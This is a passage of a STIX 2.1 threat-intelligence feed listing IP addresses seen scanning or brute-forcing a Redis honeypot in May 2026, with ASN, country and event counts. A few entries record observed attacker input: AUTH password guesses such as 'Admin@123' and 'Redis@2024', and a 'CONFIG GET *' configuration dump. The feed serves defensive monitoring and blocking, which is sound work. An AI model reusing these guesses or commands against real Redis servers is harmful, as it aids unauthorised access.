      "valid_until": "2026-06-10T21:25:09.000Z"
    },
    {
      "created": "2026-05-09T22:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--18b133d8-34b1-4a1b-a219-342246c8ef38",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T22:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '125.94.106.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:25:14.000Z",
      "valid_until": "2026-06-10T22:25:09.000Z"
    },
    {
      "created": "2026-05-09T22:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=PL; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--a2bb9475-dca8-440e-afc5-65e746bbf032",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T22:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.215.89.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T22:25:14.000Z",
      "valid_until": "2026-06-10T22:25:09.000Z"
    },
    {
      "created": "2026-05-10T01:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--c149f0be-6992-4410-af33-9742f1fef544",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T01:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '35.169.206.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:25:05.000Z",
      "valid_until": "2026-06-11T01:25:04.000Z"
    },
    {
      "created": "2026-05-10T01:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=CA; asn=209334; asn_org=Modat B.V.; redis_cmd_hits=0",
      "id": "indicator--1a457d21-c7a7-4b5a-b0b2-8b3d2fa34ad6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T01:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:25:05.000Z",
      "valid_until": "2026-06-11T01:25:04.000Z"
    },
    {
      "created": "2026-05-10T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:25:10.000Z",
      "valid_until": "2026-06-11T02:25:09.000Z"
    },
    {
      "created": "2026-05-10T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--5f66ca2f-7ed7-4110-bc17-8afb054368a0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '137.184.77.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:25:10.000Z",
      "valid_until": "2026-06-11T03:25:09.000Z"
    },
    {
      "created": "2026-05-10T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=64; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:25:10.000Z",
      "valid_until": "2026-06-11T03:25:09.000Z"
    },
    {
      "created": "2026-05-10T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--7c1b0ac1-ca4b-44da-92cd-ac10d576ee88",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:25:05.000Z",
      "valid_until": "2026-06-11T04:25:04.000Z"
    },
    {
      "created": "2026-05-10T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--cbb217fb-d6c5-47d3-b933-5b228d71d4e6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.142.76.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T04:25:05.000Z",
      "valid_until": "2026-06-11T04:25:04.000Z"
    },
    {
      "created": "2026-05-10T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--f2480278-b9c6-4acb-8b81-49d22a2975d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T05:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.106.175.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:25:12.000Z",
      "valid_until": "2026-06-11T05:25:11.000Z"
    },
    {
      "created": "2026-05-10T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--1f74d06c-e96a-4776-b5d2-df247d96324c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T05:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.148.182.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T05:25:12.000Z",
      "valid_until": "2026-06-11T05:25:11.000Z"
    },
    {
      "created": "2026-05-10T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--59695373-3c44-446d-9450-9319f2dca1c9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.71.26.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:25:11.000Z",
      "valid_until": "2026-06-11T06:25:09.000Z"
    },
    {
      "created": "2026-05-10T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=31; ports=6379; cc=RO; asn=214295; asn_org=Skynet Network Ltd; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T06:25:11.000Z",
      "valid_until": "2026-06-11T06:25:09.000Z"
    },
    {
      "created": "2026-05-10T07:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--e0cee174-a471-4440-a832-52374f832c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '125.88.205.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:25:05.000Z",
      "valid_until": "2026-06-11T07:25:04.000Z"
    },
    {
      "created": "2026-05-10T09:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=8849; asn_org=Melbikomas UAB; redis_cmd_hits=0",
      "id": "indicator--e2207aa9-d7ed-4359-b82d-cb9f1ae23973",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T09:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '95.174.71.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:25:06.000Z",
      "valid_until": "2026-06-11T09:25:04.000Z"
    },
    {
      "created": "2026-05-10T10:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--a2a9b329-b861-4dc8-9c90-0105fea7948c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T10:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:25:05.000Z",
      "valid_until": "2026-06-11T10:25:04.000Z"
    },
    {
      "created": "2026-05-10T11:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--1bbc7d21-0bc0-49e5-b98e-84527962fc7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T11:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '51.8.107.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:25:12.000Z",
      "valid_until": "2026-06-11T11:25:09.000Z"
    },
    {
      "created": "2026-05-10T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--d25ef42f-e74a-465a-beed-79555082ef03",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.56.183.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:25:10.000Z",
      "valid_until": "2026-06-11T12:25:09.000Z"
    },
    {
      "created": "2026-05-10T15:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2ff84537-68da-4af6-b25b-6b2649665764",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T15:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.46.231.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T15:25:09.000Z",
      "valid_until": "2026-06-11T15:25:09.000Z"
    },
    {
      "created": "2026-05-10T16:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T16:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:25:09.000Z",
      "valid_until": "2026-06-11T16:25:08.000Z"
    },
    {
      "created": "2026-05-10T16:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--1ddc5881-668a-4336-8df6-2c65dcbe44c0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T16:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T16:25:09.000Z",
      "valid_until": "2026-06-11T16:25:08.000Z"
    },
    {
      "created": "2026-05-10T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--7934b6c9-1b9c-4ab9-9bef-ce89d93c003c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.51.6.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T18:25:10.000Z",
      "valid_until": "2026-06-11T18:25:09.000Z"
    },
    {
      "created": "2026-05-10T21:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--5ebd7a81-3e94-495d-8872-41311d8a7ba7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T21:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.126.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:25:04.000Z",
      "valid_until": "2026-06-11T21:25:03.000Z"
    },
    {
      "created": "2026-05-10T21:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=IN; asn=24309; asn_org=Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA; redis_cmd_hits=0",
      "id": "indicator--a0531504-9840-4c7c-a1f7-5e137c09db87",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T21:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.112.138.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:25:04.000Z",
      "valid_until": "2026-06-11T21:25:03.000Z"
    },
    {
      "created": "2026-05-10T23:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--065531d9-0732-4fdc-998c-52284a5bf526",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-10T23:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:25:11.000Z",
      "valid_until": "2026-06-11T23:25:09.000Z"
    },
    {
      "created": "2026-05-10T23:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--554d7c4d-ded1-475f-8702-41bca46b176d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.97.26.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:25:11.000Z",
      "valid_until": "2026-06-11T23:25:09.000Z"
    },
    {
      "created": "2026-05-11T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=EC; asn=27947; asn_org=Telconet S.A; redis_cmd_hits=0",
      "id": "indicator--43431d1b-3d32-4b9b-b618-a6d4ca45f6a8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-11T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.3.217.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:25:10.000Z",
      "valid_until": "2026-06-12T00:25:09.000Z"
    },
    {
      "created": "2026-05-11T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--35de8faf-7ccc-4888-820c-3266d7150eca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.162.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:25:10.000Z",
      "valid_until": "2026-06-12T01:25:09.000Z"
    },
    {
      "created": "2026-05-11T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--501e5bd6-b178-486f-96e2-f2bb5ee9a257",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.189.229.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:25:10.000Z",
      "valid_until": "2026-06-12T01:25:09.000Z"
    },
    {
      "created": "2026-05-11T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--eab94e3e-771a-48a2-ac59-b3df61d51b66",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-11T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.228.104.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:25:10.000Z",
      "valid_until": "2026-06-12T01:25:09.000Z"
    },
    {
      "created": "2026-05-11T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--57c173f8-d7ab-4f57-a497-81d39adb44a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.146.21.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:25:10.000Z",
      "valid_until": "2026-06-12T01:25:09.000Z"
    },
    {
      "created": "2026-05-11T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--78496f2e-3681-4dd4-8379-2e8e151382e5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-11T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:25:10.000Z",
      "valid_until": "2026-06-12T03:25:09.000Z"
    },
    {
      "created": "2026-05-11T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=427; ports=6379; cc=PL; asn=210895; asn_org=Podaon SIA; redis_cmds=AUTH,AUTH Redis@2024,AUTH admin,AUTH 12345678,AUTH Admin@123; redis_cmd_hits=0; cmd=\"AUTH testredis\"",
      "id": "indicator--1e221312-6913-4cf4-8888-1ab4a76210cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '212.162.155.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:25:10.000Z",
      "valid_until": "2026-06-12T04:25:09.000Z"
    },
    {
      "created": "2026-05-11T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=PT; asn=21859; asn_org=Zenlayer Inc; redis_cmd_hits=0",
      "id": "indicator--1b175677-ddda-46ac-aa1d-291b00c5f346",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:25:10.000Z",
      "valid_until": "2026-06-12T07:25:09.000Z"
    },
    {
      "created": "2026-05-11T08:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--1ce7a063-42b5-4aac-96d5-6e326ae4fa91",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-11T08:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.199.171.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T08:25:11.000Z",
      "valid_until": "2026-06-12T08:25:10.000Z"
    },
    {
      "created": "2026-05-11T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=AU; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--0ee0ba5f-8056-49b8-8670-62cef867d5d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.64.182.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T09:25:10.000Z",
      "valid_until": "2026-06-12T09:25:09.000Z"
    },
    {
      "created": "2026-05-11T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=AM; asn=197834; asn_org=Ucom CJSC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.32.193.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T11:25:11.000Z",
      "valid_until": "2026-06-12T11:25:09.000Z"
    },
    {
      "created": "2026-05-11T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=134420; asn_org=Chongqing Telecom; redis_cmd_hits=0",
      "id": "indicator--557c786f-025b-4beb-b4f3-73a223df2dd1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-11T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '113.249.112.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T12:25:11.000Z",
      "valid_until": "2026-06-12T12:25:10.000Z"
    },
    {
      "created": "2026-05-11T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=22; ports=6379; cc=RO; asn=47890; asn_org=Unmanaged Ltd; cats=Misc activity; redis_cmds=CONFIG GET *; redis_cmd_hits=0; cmd=\"CONFIG GET *\"",
      "id": "indicator--59e11966-28fe-42de-9a19-03b81066df88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:25:11.000Z",
      "valid_until": "2026-06-12T16:25:09.000Z"
    },
    {
      "created": "2026-05-11T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
